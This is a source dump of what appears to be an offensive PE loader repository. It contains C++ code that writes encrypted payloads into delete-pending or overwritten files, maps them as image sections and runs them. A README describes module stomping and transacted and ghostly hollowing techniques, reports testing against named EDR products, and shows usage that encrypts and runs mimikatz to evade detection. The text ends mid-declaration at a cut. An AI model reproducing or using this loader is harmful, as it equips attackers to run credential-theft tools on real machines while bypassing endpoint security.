#[ordinal]) 42 | */ 43 | DWORD ordinal_string_to_val(const std::string& str); 44 | 45 | /** 46 | Convert the function in a format: DLL_name.function_name into a normalized form (DLL name in lowercase). 47 | */ 48 | std::string format_dll_func(const std::string& str); 49 | 50 | /** 51 | A class storing the information about the exported function. 52 | */ 53 | class ExportedFunc 54 | { 55 | public: 56 | /** 57 | Converts the name to the normalized format. 58 | */ 59 | static std::string formatName(std::string name); 60 | 61 | //! Compares functions' names. If function is defined by an ordinal, compares ordinals. Does not include the DLL name in the comparison. 62 | static bool isTheSameFuncName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2); 63 | 64 | //! Compares functions' DLL names. 65 | static bool isTheSameDllName(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2); 66 | 67 | //! Compares functions' names. If function is defined by an ordinal, compares ordinals. Includes the DLL name in the comparison. 68 | static bool isTheSameFunc(const peconv::ExportedFunc& func1, const peconv::ExportedFunc& func2); 69 | 70 | std::string libName; 71 | std::string funcName; 72 | DWORD funcOrdinal; 73 | bool isByOrdinal; 74 | 75 | //default constructor: 76 | ExportedFunc() : funcOrdinal(0), isByOrdinal(false) {} 77 | 78 | ExportedFunc(const ExportedFunc& other); 79 | ExportedFunc(std::string libName, std::string funcName, DWORD funcOrdinal); 80 | ExportedFunc(std::string libName, DWORD funcOrdinal); 81 | ExportedFunc(const std::string &forwarderName); 82 | 83 | /** 84 | Compare two functions with each other. 85 | Gives the priority to the named functions: if one of the compared functions is unnamed, the named one is treated as smaller. 86 | If both functions are unnamed, the function with the smaller ordinal is treated as smaller. 87 | Otherwise, the function with the shorter name is treated as smaller. 88 | */ 89 | bool operator < (const ExportedFunc& other) const 90 | { 91 | //if only one function is named, give the preference to the named one: 92 | const size_t thisNameLen = this->funcName.length(); 93 | const size_t otherNameLen = other.funcName.length(); 94 | if (thisNameLen == 0 && otherNameLen > 0) { 95 | return false; 96 | } 97 | if (thisNameLen > 0 && otherNameLen == 0) { 98 | return true; 99 | } 100 | //select by shorter lib name: 101 | int cmp = libName.compare(other.libName); 102 | if (cmp != 0) { 103 | return cmp < 0; 104 | } 105 | if (thisNameLen == 0 || otherNameLen == 0) { 106 | return this->funcOrdinal < other.funcOrdinal; 107 | } 108 | if (thisNameLen != otherNameLen) { 109 | return thisNameLen < otherNameLen; 110 | } 111 | cmp = funcName.compare(other.funcName); 112 | return cmp < 0; 113 | } 114 | 115 | /** 116 | Gets a string representation of the variable. Full info about the function: library, name, ordinal. 117 | */ 118 | std::string toString() const; 119 | 120 | /** 121 | Gets a string representation of the variable. Short info about the function: only function name or ordinal (if the name is missing). 122 | */ 123 | std::string nameToString() const; 124 | 125 | bool isValid() const 126 | { 127 | return (funcName != "" || funcOrdinal != -1); 128 | } 129 | }; 130 | 131 | }; //namespace peconv 132 | 133 | -------------------------------------------------------------------------------- /PELoader/PELoader/delete_pending_file.cpp: -------------------------------------------------------------------------------- 1 | #include "delete_pending_file.h" 2 | 3 | #include 4 | #include 5 | 6 | #include "ntddk.h" 7 | #include "util.h" 8 | 9 | #include "pe_hdrs_helper.h" 10 | #pragma comment(lib, "Ntdll.lib") 11 | 12 | HANDLE open_file(wchar_t* filePath) 13 | { 14 | // convert to NT path 15 | std::wstring nt_path = L"\\??\\" + std::wstring(filePath); 16 | 17 | UNICODE_STRING file_name = { 0 }; 18 | RtlInitUnicodeString(&file_name, nt_path.c_str()); 19 | 20 | OBJECT_ATTRIBUTES attr = { 0 }; 21 | InitializeObjectAttributes(&attr, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL); 22 | 23 | IO_STATUS_BLOCK status_block = { 0 }; 24 | HANDLE file = INVALID_HANDLE_VALUE; 25 | NTSTATUS stat = NtOpenFile( 26 | &file, 27 | DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, 28 | &attr, 29 | &status_block, 30 | FILE_SHARE_READ | FILE_SHARE_WRITE, 31 | FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT 32 | ); 33 | if (!NT_SUCCESS(stat)) { 34 | std::cout << "Failed to open, status: " << std::hex << stat << std::endl; 35 | return INVALID_HANDLE_VALUE; 36 | } 37 | return file; 38 | } 39 | 40 | HANDLE make_section_from_delete_pending_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize) 41 | { 42 | HANDLE hDelFile = open_file(filePath); 43 | if (!hDelFile || hDelFile == INVALID_HANDLE_VALUE) { 44 | std::cerr << "Failed to create file" << std::dec << GetLastError() << std::endl; 45 | return INVALID_HANDLE_VALUE; 46 | } 47 | NTSTATUS status = 0; 48 | IO_STATUS_BLOCK status_block = { 0 }; 49 | 50 | /* Set disposition flag */ 51 | FILE_DISPOSITION_INFORMATION info = { 0 }; 52 | info.DeleteFile = TRUE; 53 | 54 | status = NtSetInformationFile(hDelFile, &status_block, &info, sizeof(info), FileDispositionInformation); 55 | if (!NT_SUCCESS(status)) { 56 | std::cout << "Setting information failed: " << std::hex << status << "\n"; 57 | return INVALID_HANDLE_VALUE; 58 | } 59 | std::cout << "[*] File disposition information set\n"; 60 | 61 | LARGE_INTEGER ByteOffset = { 0 }; 62 | 63 | status = NtWriteFile( 64 | hDelFile, 65 | NULL, 66 | NULL, 67 | NULL, 68 | &status_block, 69 | payladBuf, 70 | payloadSize, 71 | &ByteOffset, 72 | NULL 73 | ); 74 | if (!NT_SUCCESS(status)) { 75 | DWORD err = GetLastError(); 76 | std::cerr << "Failed writing payload! Error: " << std::hex << err << std::endl; 77 | return INVALID_HANDLE_VALUE; 78 | } 79 | 80 | HANDLE hSection = nullptr; 81 | status = NtCreateSection( 82 | &hSection, 83 | SECTION_ALL_ACCESS, 84 | NULL, 85 | 0, 86 | PAGE_READONLY, 87 | SEC_IMAGE, 88 | hDelFile 89 | ); 90 | if (status != STATUS_SUCCESS) { 91 | std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl; 92 | return INVALID_HANDLE_VALUE; 93 | } 94 | NtClose(hDelFile); 95 | hDelFile = nullptr; 96 | 97 | return hSection; 98 | } 99 | 100 | 101 | void ClearContent(HANDLE hTargetFile) { 102 | 103 | // overwrite the payload 104 | printf("[+] Overwriting file content\n"); 105 | 106 | // replace with whitespace 107 | const char* data = "\x0A"; 108 | DWORD dwTargetAux, dwTargetOriginalSize, dwTargetFileSize = GetFileSize(hTargetFile, &dwTargetAux) - 4; 109 | DWORD bytesRemaining = dwTargetFileSize - sizeof(data); 110 | 111 | SetFilePointer(hTargetFile, 0, NULL, 0); 112 | while (bytesRemaining > sizeof(data)) { 113 | DWORD bytesWritten; 114 | WriteFile(hTargetFile, data, sizeof(data), &bytesWritten, NULL); 115 | SetFilePointer(hTargetFile, 0, NULL, 1); 116 | bytesRemaining = bytesRemaining - bytesWritten; 117 | } 118 | 119 | 120 | return; 121 | } 122 | 123 | 124 | HANDLE make_section_from_overwrite_file(wchar_t* filePath, BYTE* payladBuf, DWORD payloadSize) 125 | { 126 | HANDLE hOverwriteFile = open_file(filePath); 127 | if (!hOverwriteFile || hOverwriteFile == INVALID_HANDLE_VALUE) { 128 | std::cerr << "Failed to create file" << std::dec << GetLastError() << std::endl; 129 | return INVALID_HANDLE_VALUE; 130 | } 131 | NTSTATUS status = 0; 132 | IO_STATUS_BLOCK status_block = { 0 }; 133 | 134 | LARGE_INTEGER ByteOffset = { 0 }; 135 | 136 | status = NtWriteFile( 137 | hOverwriteFile, 138 | NULL, 139 | NULL, 140 | NULL, 141 | &status_block, 142 | payladBuf, 143 | payloadSize, 144 | &ByteOffset, 145 | NULL 146 | ); 147 | if (!NT_SUCCESS(status)) { 148 | DWORD err = GetLastError(); 149 | std::cerr << "Failed writing payload! Error: " << std::hex << err << std::endl; 150 | return INVALID_HANDLE_VALUE; 151 | } 152 | 153 | HANDLE hSection = nullptr; 154 | status = NtCreateSection( 155 | &hSection, 156 | SECTION_ALL_ACCESS, 157 | NULL, 158 | 0, 159 | PAGE_READONLY, 160 | SEC_IMAGE, 161 | hOverwriteFile 162 | ); 163 | if (status != STATUS_SUCCESS) { 164 | std::cerr << "NtCreateSection failed: " << std::hex << status << std::endl; 165 | return INVALID_HANDLE_VALUE; 166 | } 167 | ClearContent(hOverwriteFile); 168 | NtClose(hOverwriteFile); 169 | hOverwriteFile = nullptr; 170 | 171 | return hSection; 172 | } 173 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PELoader 2 | PELoader implement various shellcode injection techniques, and use [libpeconv](https://github.com/hasherezade/libpeconv) library to load encrypted PE files instead of injecting shellcode into remote thread. 3 | 4 | Following techniques were implemented: 5 | 6 | - Module Stomping (LoadLibrary) 7 | - Module Stomping (NtMapViewOfSection) ([PoC](https://github.com/hasherezade/module_overloading)) 8 | - Transacted Hollowing ([PoC](https://github.com/hasherezade/transacted_hollowing)) 9 | - Ghostly Hollowing ([PoC](https://github.com/hasherezade/transacted_hollowing#ghostly-hollowing)) 10 | - Herpaderply Hollowing([PoC](https://github.com/Hagrid29/herpaderply_hollowing)) 11 | - NtMapViewOfSection (RWX-RW-RX) 12 | - NtAllocateVirtualMemory (RW-RX) 13 | 14 | Credits: most of my work was based on @hasherezade's [PoC](https://github.com/hasherezade/) scripts. 15 | 16 | ## Testing 17 | 18 | PELoader was tested on Windows 10 with Cortex XDR / SentinalOne / Windows Defender / CrowdStrike, and Windows Defender / CrowdStrike detected Transacted Hollowing techniques. Characteristics of each techniques were tested with a memory scanner tool [Moneta](https://github.com/forrest-orr/moneta) from @forrest-orr. 19 | 20 | **Module Stomping (LoadLibrary)** 21 | 22 | Call LoadLibrary to load a legitimate DLL. Overwrite DLL with payload 23 | 24 | Pros 25 | 26 | - payload mapped as MEM_IMAGE which looks legitimate for EXE or DLL 27 | - impersonating a legitimate DLL 28 | - Sections mapped with original access rights (no RWX) 29 | 30 | ![cdll](img/cdll.PNG) 31 | 32 | 33 | 34 | **Module Stomping (NtMapViewOfSection)** 35 | 36 | Call NtCreateSection to create file mapping object (PAGE_READONLY) for a legitimate DLL, and call NtMapViewOfSection to map it to current process. Overwrite the DLL with payload. 37 | 38 | Pros 39 | 40 | - payload mapped as MEM_IMAGE which looks legitimate for EXE or DLL 41 | - impersonating a legitimate DLL 42 | - Sections mapped with original access rights (no RWX) 43 | - Not connected to the list of modules (invisible for Module32First/Module32Next) 44 | 45 | Cons 46 | 47 | - Not connected to the list of modules (check "Missing PEB module" in bellow Moneta's scanning result) 48 | 49 | ![mdll](img/mdll.PNG) 50 | 51 | reference to @hasherezade's [PoC](https://github.com/hasherezade/module_overloading). 52 | 53 | 54 | 55 | **Transacted Hollowing** 56 | 57 | A hybrid between Process Hollowing and Process Doppelgänging. Create “invisible” file within the NTFS transaction and write payload into the file. Map section to current process and execute it. 58 | 59 | Pros 60 | 61 | - Payload mapped as MEM_IMAGE 62 | - Sections mapped with original access rights (no RWX) 63 | - dummy file not necessary to be exist 64 | 65 | Cons 66 | 67 | - Detection if there is TxF activity monitoring 68 | 69 | ![txf](img/txf.PNG) 70 | 71 | 72 | 73 | **Ghostly Hollowing** 74 | 75 | A hybrid between Process Hollowing and Process Ghosting. Create a file with delete pending state and write payload into the file. Map section to current process and execute it. 76 | 77 | Pros 78 | 79 | - Payload mapped as MEM_IMAGE 80 | - Sections mapped with original access rights (no RWX) 81 | - Avoid “System Idle Process” without any image path (IOC of process ghosting) 82 | 83 | Cron 84 | 85 | - Dummy file created on disk 86 | 87 | ![ghost](img/ghost.PNG)reference to @hasherezade's [PoC](https://github.com/hasherezade/transacted_hollowing). 88 | 89 | 90 | 91 | **NtMapViewOfSection (RWX-RW-RX)** 92 | 93 | Call NtCreateSection to create memory section (RWX). Call NtMapViewOfSection map a view to current process (RWX). Call VirtualProtect to change protection to RW. Copy shellcode to mapped section. Change protection to RX and execute it. 94 | 95 | Pros 96 | 97 | - Payload mapped as MEM_MAPPED to avoid MEM_PRIVATE which is common in malware 98 | 99 | Cons 100 | 101 | - Set memory page to RWX protection at initial stage 102 | - abnormal mapped EXE memory with RX protection 103 | 104 | ![map](img/map.PNG) 105 | 106 | 107 | 108 | **NtAllocateVirtualMemory (RW-RX)** 109 | 110 | Call NtAllocateVirtualMemory to allocate memory (RW). Copy shellcode to memory. Change protection to RX and execute it. 111 | 112 | Pros 113 | 114 | - avoid RWX memory page 115 | 116 | Cons 117 | 118 | - staging shellcode to memory page with private type MEM_PRIVATE 119 | - abnormal private EXE memory with RX protection 120 | 121 | ![priv](img/priv.PNG) 122 | 123 | 124 | 125 | ## Usage 126 | 127 | **AES Encrypt Payload** 128 | 129 | Convert PE file to shellcode with [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) and encrypted with PELoader 130 | 131 | ``` 132 | cmd> .\pe2shc.exe mimikatz.exe 133 | Reading module from: mimikatz.exe 134 | [WARNING] This is a console application! The recommended subsystem is GUI. 135 | [+] Saved as: mimikatz.shc.exe 136 | cmd> set hagrid=enc mimikatz.shc.exe 137 | cmd> .\PELoader.exe 138 | argument: enc mimikatz.shc.exe 139 | Encrypting File 140 | ``` 141 | 142 | **PE Execution** 143 | 144 | Set argument to environment variable "hagrid" and execute PELoader 145 | 146 | ``` 147 | cmd> set hagrid=cdll mimikatz.shc.exe.enc 148 | cmd> .\PELoader.exe version 149 | argument: cdll mimikatz.shc.exe.enc 150 | Classic DLL Hollowing 151 | [*] target dll: C:\WINDOWS\system32\aadtb.dll 152 | [*] implant dll: mimikatz.shc.exe.enc 153 | [*] Loading the DLL (using LoadLibary, classic DLL hollowing)... 154 | [*] Overwriting the mapping 155 | [*] Module Overloading finished... 156 | [*] Executing Implant's Entry Point: 7ff8cf9d7578 157 | [*] Executing Implant as EXE 158 | 159 | .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 160 | .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) 161 | ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 162 | ## \ / ## > https://blog.gentilkiwi.com/mimikatz 163 | '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) 164 | '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ 165 | 166 | mimikatz(commandline) # version 167 | 168 | mimikatz 2.2.0 (arch x64) 169 | Windows NT 10.0 build 19043 (arch x64) 170 | msvc 150030729 207 171 | 172 | mimikatz # 173 | ``` 174 | 175 | 176 | 177 | ## Improvement 178 | 179 | - @forrest-orr made a detailed comparison on variations of shellcode implant in this [article](https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners) 180 | - @dglenx moved the concept to remote process injection and suggest a couple of ways to address IOCs in this [article](https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/) 181 | 182 | 183 | 184 | ## References 185 | 186 | * https://github.com/hasherezade/libpeconv 187 | * https://github.com/hasherezade/module_overloading 188 | * https://github.com/hasherezade/transacted_hollowing 189 | * https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners 190 | * https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/ 191 | 192 | 193 | 194 | -------------------------------------------------------------------------------- /PELoader/PELoader/util.cpp: -------------------------------------------------------------------------------- 1 | #include "util.h" 2 | #include "aes.h" 3 | #include 4 | 5 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 6 | 7 | #pragma warning(disable:4996) 8 | 9 | 10 | DWORD translate_protect(DWORD sec_charact) 11 | { 12 | if ((sec_charact & IMAGE_SCN_MEM_EXECUTE) 13 | && (sec_charact & IMAGE_SCN_MEM_READ) 14 | && (sec_charact & IMAGE_SCN_MEM_WRITE)) 15 | { 16 | return PAGE_EXECUTE_READWRITE; 17 | } 18 | if ((sec_charact & IMAGE_SCN_MEM_EXECUTE) 19 | && (sec_charact & IMAGE_SCN_MEM_READ)) 20 | { 21 | return PAGE_EXECUTE_READ; 22 | } 23 | if (sec_charact & IMAGE_SCN_MEM_EXECUTE) 24 | { 25 | return PAGE_EXECUTE_READ; 26 | } 27 | 28 | if ((sec_charact & IMAGE_SCN_MEM_READ) 29 | && (sec_charact & IMAGE_SCN_MEM_WRITE)) 30 | { 31 | return PAGE_READWRITE; 32 | } 33 | if (sec_charact & IMAGE_SCN_MEM_READ) { 34 | return PAGE_READONLY; 35 | } 36 | 37 | return PAGE_READWRITE; 38 | } 39 | 40 | bool is_compatibile(BYTE *implant_dll) 41 | { 42 | bool is_payload64 = peconv::is64bit(implant_dll); 43 | #ifdef _WIN64 44 | if (!is_payload64) { 45 | std::cerr << "For 64 bit loader you MUST use a 64 bit payload!\n"; 46 | return false; 47 | } 48 | #else 49 | if (is_payload64) { 50 | std::cerr << "For 32 bit loader you MUST use a 32 bit payload!\n"; 51 | return false; 52 | } 53 | #endif 54 | return true; 55 | } 56 | 57 | 58 | DWORD EncryptString(const unsigned char* lpData, const char* lpKey, unsigned char*& lpOut, DWORD dwDataSize) 59 | { 60 | unsigned char btBlock[16]; 61 | unsigned char btKey[16]; 62 | unsigned int dwOutLen = 0; 63 | unsigned int iMul = 0; 64 | 65 | if ((dwDataSize % 16)) 66 | iMul = 1; 67 | 68 | dwOutLen = ((dwDataSize / 16) + iMul) * 16; 69 | 70 | lpOut = (unsigned char*)malloc(dwOutLen + 1); 71 | 72 | memset(lpOut, 0x00, dwOutLen + 1); 73 | 74 | memset(btKey, 0x00, 16); 75 | 76 | memcpy(btKey, lpKey, strlen(lpKey) > 16 ? 16 : strlen(lpKey)); 77 | 78 | for (int i = 0; i * 16 < dwDataSize; ++i) { 79 | 80 | unsigned int uiBlockSize = 16; 81 | 82 | if ((dwDataSize - (i * 16)) < 16) 83 | uiBlockSize = (dwDataSize - (i * 16)); 84 | 85 | memset(btBlock, 0x00, 16); 86 | memcpy(btBlock, lpData + (i * 16), uiBlockSize); 87 | 88 | AES_ECB_encrypt(lpData + (i * 16), btKey, lpOut + (i * 16), 16); 89 | } 90 | 91 | return dwOutLen; 92 | } 93 | 94 | DWORD DecryptString(const unsigned char* lpData, const char* lpKey, unsigned char*& lpOut, DWORD dwDataSize) 95 | { 96 | unsigned char btKey[16]; 97 | unsigned int dwOutLen = 0; 98 | unsigned int iMul = 0; 99 | 100 | if ((dwDataSize % 16)) 101 | iMul = 1; 102 | 103 | dwOutLen = ((dwDataSize / 16) + iMul) * 16; 104 | 105 | lpOut = (unsigned char*)malloc(dwOutLen + 1); 106 | 107 | memset(lpOut, 0x00, dwOutLen + 1); 108 | 109 | memset(btKey, 0x00, 16); 110 | 111 | memcpy(btKey, lpKey, strlen(lpKey) > 16 ? 16 : strlen(lpKey)); 112 | 113 | for (int i = 0; i * 16 < dwDataSize; ++i) { 114 | AES_ECB_decrypt(lpData + (i * 16), btKey, lpOut + (i * 16), 16); 115 | } 116 | 117 | return dwOutLen; 118 | } 119 | 120 | 121 | PIMAGE_NT_HEADERS get_nt_headers(const BYTE* virtualpointer) 122 | { 123 | PIMAGE_DOS_HEADER dosHeader; 124 | PIMAGE_NT_HEADERS ntHeader; 125 | 126 | // Check dos_header == MZ 127 | dosHeader = (PIMAGE_DOS_HEADER)virtualpointer; 128 | // needed fields: e_magix and e_lfanew (ntHeader offset) 129 | if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 130 | return NULL; 131 | } 132 | 133 | // Get pointer to NT header 134 | ntHeader = (PIMAGE_NT_HEADERS)((PCHAR)(virtualpointer)+dosHeader->e_lfanew); 135 | // needed fields: Signature 136 | // FileHeader, OptionalFileHeader 137 | if (ntHeader->Signature != IMAGE_NT_SIGNATURE) { 138 | return NULL; 139 | } 140 | 141 | return ntHeader; 142 | } 143 | 144 | size_t getSizeOfImage(wchar_t* FilePath) { 145 | NTSTATUS status = 0; 146 | HANDLE hFile = NULL; 147 | size_t img_size = 0; 148 | PIMAGE_NT_HEADERS ntHeader = NULL; 149 | PIMAGE_DOS_HEADER dosHeader; 150 | DWORD dwBytesRead = 0; 151 | // Offset of file - NtReadFile 152 | OVERLAPPED ol = { 0 }; 153 | 154 | // NtCreateFile 155 | hFile = CreateFileW(FilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 156 | if (hFile == NULL) { 157 | printf("CreateFileW error : 0x%x", GetLastError()); 158 | return 0; 159 | } 160 | // Partially read the file instead of mapping the whole dll. 161 | // We need only the headers to get SizeOfImage 162 | // Try to guess dosHeader->e_lfanew : 0x100 is a reasonable value as most of the DLLs has dosHeader->e_lfanew <= 0x100 163 | #define GUESS 0x100 164 | // Define buffersize at compile time so we can allocate the buffer in the stack 165 | #define BUFFERSIZE ( sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) + GUESS ) 166 | char ReadBuffer[BUFFERSIZE] = { 0 }; 167 | // Read PE 168 | // ol == 0 --> OFFSET = 0 169 | // NtReadFile 170 | status = ReadFile(hFile, ReadBuffer, BUFFERSIZE, &dwBytesRead, &ol); 171 | if (!NT_SUCCESS(status)) 172 | { 173 | printf("NtReadFile: 0x%x\n", status); 174 | CloseHandle(hFile); 175 | return 0; 176 | } 177 | dosHeader = (PIMAGE_DOS_HEADER)ReadBuffer; 178 | // check if our guess was lucky 179 | if (dosHeader->e_lfanew <= GUESS) { 180 | // We already read enough bytes - we can read the NT Headers 181 | ntHeader = get_nt_headers((const BYTE*)ReadBuffer); 182 | } 183 | else { 184 | // read again 185 | // We shouldn't arrive here very often as we "guessed" a very common value of dosHeader->e_lfanew 186 | 187 | // Read starting from offset dosHeader->e_lfanew - we are interested only to the NT headers. 188 | // https://stackoverflow.com/questions/40945819/read-file-from-100th-byte 189 | ol.Offset = dosHeader->e_lfanew; 190 | // We can reuse the same buffer 191 | // NtReadFile 192 | status = ReadFile(hFile, ReadBuffer, BUFFERSIZE, &dwBytesRead, &ol); 193 | if (!NT_SUCCESS(status)) 194 | { 195 | printf("NtReadFile: 0x%x\n", status); 196 | CloseHandle(hFile); 197 | return 0; 198 | } 199 | ntHeader = (PIMAGE_NT_HEADERS)ReadBuffer; 200 | } 201 | 202 | if (ntHeader != NULL && ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR_MAGIC) { 203 | img_size = ntHeader->OptionalHeader.SizeOfImage; 204 | } 205 | // Close Handles 206 | CloseHandle(hFile); 207 | return img_size; 208 | } 209 | 210 | void encryptFile(const char* payloadPath, char* outputPath) { 211 | 212 | size_t payloadSize = 0; 213 | 214 | BYTE* payloadBuf = peconv::load_file(payloadPath, payloadSize); 215 | if (payloadBuf == NULL) { 216 | std::cerr << "Cannot read payload!" << std::endl; 217 | return; 218 | } 219 | 220 | unsigned char* lpszEncryptedString = nullptr; 221 | DWORD dwEncryptedSize = EncryptString(payloadBuf, "Hagrid29", lpszEncryptedString, payloadSize); 222 | char outputPath2[sizeof(payloadPath) + 5]; 223 | if (outputPath == nullptr) { 224 | const char* suffix = ".enc"; 225 | strcpy(outputPath2, payloadPath); 226 | strcat(outputPath2, suffix); 227 | outputPath = outputPath2; 228 | } 229 | FILE* file = fopen(outputPath, "wb"); 230 | fwrite(lpszEncryptedString, 1, dwEncryptedSize, file); 231 | } 232 | 233 | BYTE* decryptFile(const char* payloadPath, OUT size_t& r_size) { 234 | 235 | size_t payloadSize = 0; 236 | 237 | BYTE* payladBuf = peconv::load_file(payloadPath, payloadSize); 238 | if (payladBuf == NULL) { 239 | std::cerr << "Cannot read payload!" << std::endl; 240 | return NULL; 241 | } 242 | unsigned char* lpszDecryptedString = nullptr; 243 | DWORD dwDecryptedSize = DecryptString(payladBuf, "Hagrid29", lpszDecryptedString, payloadSize); 244 | 245 | r_size = dwDecryptedSize; 246 | return lpszDecryptedString; 247 | } 248 | 249 | -------------------------------------------------------------------------------- /PELoader/libpeconv/include/peconv/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file 3 | * @brief Wrappers over various fields in the PE header. Read, write, parse PE headers. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include "buffer_util.h" 10 | 11 | #ifndef PAGE_SIZE 12 | #define PAGE_SIZE 0x1000 13 | #endif 14 | 15 | namespace peconv { 16 | /** 17 | Maximal size of the PE header. 18 | */ 19 | const ULONGLONG MAX_HEADER_SIZE = PAGE_SIZE; 20 | 21 | /** 22 | Fetch image size from headers. 23 | */ 24 | DWORD get_image_size(IN const BYTE *payload); 25 | 26 | /** 27 | Change the Image Size in Optional Header to the given one. 28 | */ 29 | bool update_image_size(IN OUT BYTE* payload, IN DWORD new_img_size); 30 | 31 | /** 32 | Fetch architecture from the NT headers. Checks for bad pointers. 33 | */ 34 | WORD get_nt_hdr_architecture(IN const BYTE *pe_buffer); 35 | 36 | /** 37 | Wrapper for get_nt_hdr_architecture. Returns true if the PE file is 64 bit. 38 | */ 39 | bool is64bit(IN const BYTE *pe_buffer); 40 | 41 | /** 42 | Fetch pointer to the NT headers of the PE file. 43 | Checks for bad pointers. If buffer_size is set, validates pointers against the buffer size. 44 | */ 45 | BYTE* get_nt_hdrs( 46 | IN const BYTE *pe_buffer, 47 | IN OPTIONAL size_t buffer_size=0 //if buffer_size=0 means size unknown 48 | ); 49 | 50 | /** 51 | Wrapper for get_nt_headers. Automatically detects if the PE is 32 bit - if not, returns null pointer. 52 | */ 53 | IMAGE_NT_HEADERS32* get_nt_hdrs32(IN const BYTE *pe_buffer); 54 | 55 | /** 56 | Wrapper for get_nt_headers. Automatically detects if the PE is 64 bit - if not, returns null pointer. 57 | */ 58 | IMAGE_NT_HEADERS64* get_nt_hdrs64(IN const BYTE *pe_buffer); 59 | 60 | /** 61 | Fetches optional header of the PE. Validates pointers against buffer size. 62 | */ 63 | LPVOID get_optional_hdr(IN const BYTE* payload, IN const size_t buffer_size); 64 | 65 | /** 66 | Fetches file header of the PE. Validates pointers against buffer size. 67 | */ 68 | const IMAGE_FILE_HEADER* get_file_hdr( 69 | IN const BYTE* payload, 70 | IN const size_t buffer_size 71 | ); 72 | 73 | /** 74 | Fetch the size of headers (from Optional Header). 75 | */ 76 | DWORD get_hdrs_size(IN const BYTE *pe_buffer); 77 | 78 | /** 79 | get Data Directory entry of the given number. If the entry is not filled and allow_empty is not set, it returns null pointer. 80 | */ 81 | IMAGE_DATA_DIRECTORY* get_directory_entry(IN const BYTE* pe_buffer, IN DWORD dir_id, IN bool allow_empty = false); 82 | 83 | /** 84 | Get pointer to the Data Directory content of the given number. Automatically cast to the chosen type. 85 | */ 86 | template 87 | IMAGE_TYPE_DIRECTORY* get_type_directory(IN HMODULE modulePtr, IN DWORD dir_id) 88 | { 89 | IMAGE_DATA_DIRECTORY *my_dir = peconv::get_directory_entry((const BYTE*)modulePtr, dir_id); 90 | if (!my_dir) return nullptr; 91 | 92 | DWORD dir_addr = my_dir->VirtualAddress; 93 | if (dir_addr == 0) return nullptr; 94 | 95 | return (IMAGE_TYPE_DIRECTORY*)(dir_addr + (ULONG_PTR)modulePtr); 96 | } 97 | 98 | /** 99 | Get pointer to the Export Directory. 100 | */ 101 | IMAGE_EXPORT_DIRECTORY* get_export_directory(IN HMODULE modulePtr); 102 | 103 | // Fetch Image Base from Optional Header. 104 | ULONGLONG get_image_base(IN const BYTE *pe_buffer); 105 | 106 | /** 107 | Change the Image Base in Optional Header to the given one. 108 | */ 109 | bool update_image_base(IN OUT BYTE* payload, IN ULONGLONG destImageBase); 110 | 111 | /** 112 | Get RVA of the Entry Point from the Optional Header. 113 | */ 114 | DWORD get_entry_point_rva(IN const BYTE *pe_buffer); 115 | 116 | /** 117 | Change the Entry Point RVA in the Optional Header to the given one. 118 | */ 119 | bool update_entry_point_rva(IN OUT BYTE *pe_buffer, IN DWORD ep); 120 | 121 | /** 122 | Get number of sections from the File Header. It does not validate if this the actual number. 123 | */ 124 | size_t get_sections_count( 125 | IN const BYTE* buffer, 126 | IN const size_t buffer_size 127 | ); 128 | 129 | /** 130 | Checks if the section headers are reachable. It does not validate sections alignment. 131 | */ 132 | bool is_valid_sections_hdr_offset(IN const BYTE* buffer, IN const size_t buffer_size); 133 | 134 | /** 135 | Gets pointer to the section header of the given number. 136 | */ 137 | PIMAGE_SECTION_HEADER get_section_hdr( 138 | IN const BYTE* pe_buffer, 139 | IN const size_t buffer_size, 140 | IN size_t section_num 141 | ); 142 | 143 | /** 144 | Fetch the PE Characteristics from the File Header. 145 | */ 146 | WORD get_file_characteristics(IN const BYTE* payload); 147 | 148 | /** 149 | Check if the module is a DLL (basing on the Characteristcs in the header). 150 | */ 151 | bool is_module_dll(IN const BYTE* payload); 152 | 153 | /** 154 | Check if the module is a .NET executable 155 | */ 156 | bool is_dot_net(BYTE *pe_buffer, size_t pe_buffer_size); 157 | 158 | /** 159 | Fetch the DLL Characteristics from the Optional Header. 160 | */ 161 | WORD get_dll_characteristics(IN const BYTE* payload); 162 | 163 | /** 164 | Set the PE subsystem in the header. 165 | */ 166 | bool set_subsystem(IN OUT BYTE* payload, IN WORD subsystem); 167 | 168 | /** 169 | Get the PE subsystem from the header. 170 | */ 171 | WORD get_subsystem(IN const BYTE* payload); 172 | 173 | /** 174 | Check if the PE has relocations Data Directory. 175 | */ 176 | bool has_relocations(IN const BYTE *pe_buffer); 177 | 178 | /** 179 | Fetch the pointer to the .NET header (if exist). 180 | */ 181 | IMAGE_COR20_HEADER* get_dotnet_hdr( 182 | IN const BYTE* pe_buffer, 183 | IN size_t const buffer_size, 184 | IN const IMAGE_DATA_DIRECTORY* dotNetDir 185 | ); 186 | 187 | /** 188 | Fetch section aligmenent from headers. Depending on the flag, it fetches either Raw Alignment or Virtual Alignment. 189 | */ 190 | DWORD get_sec_alignment(IN const 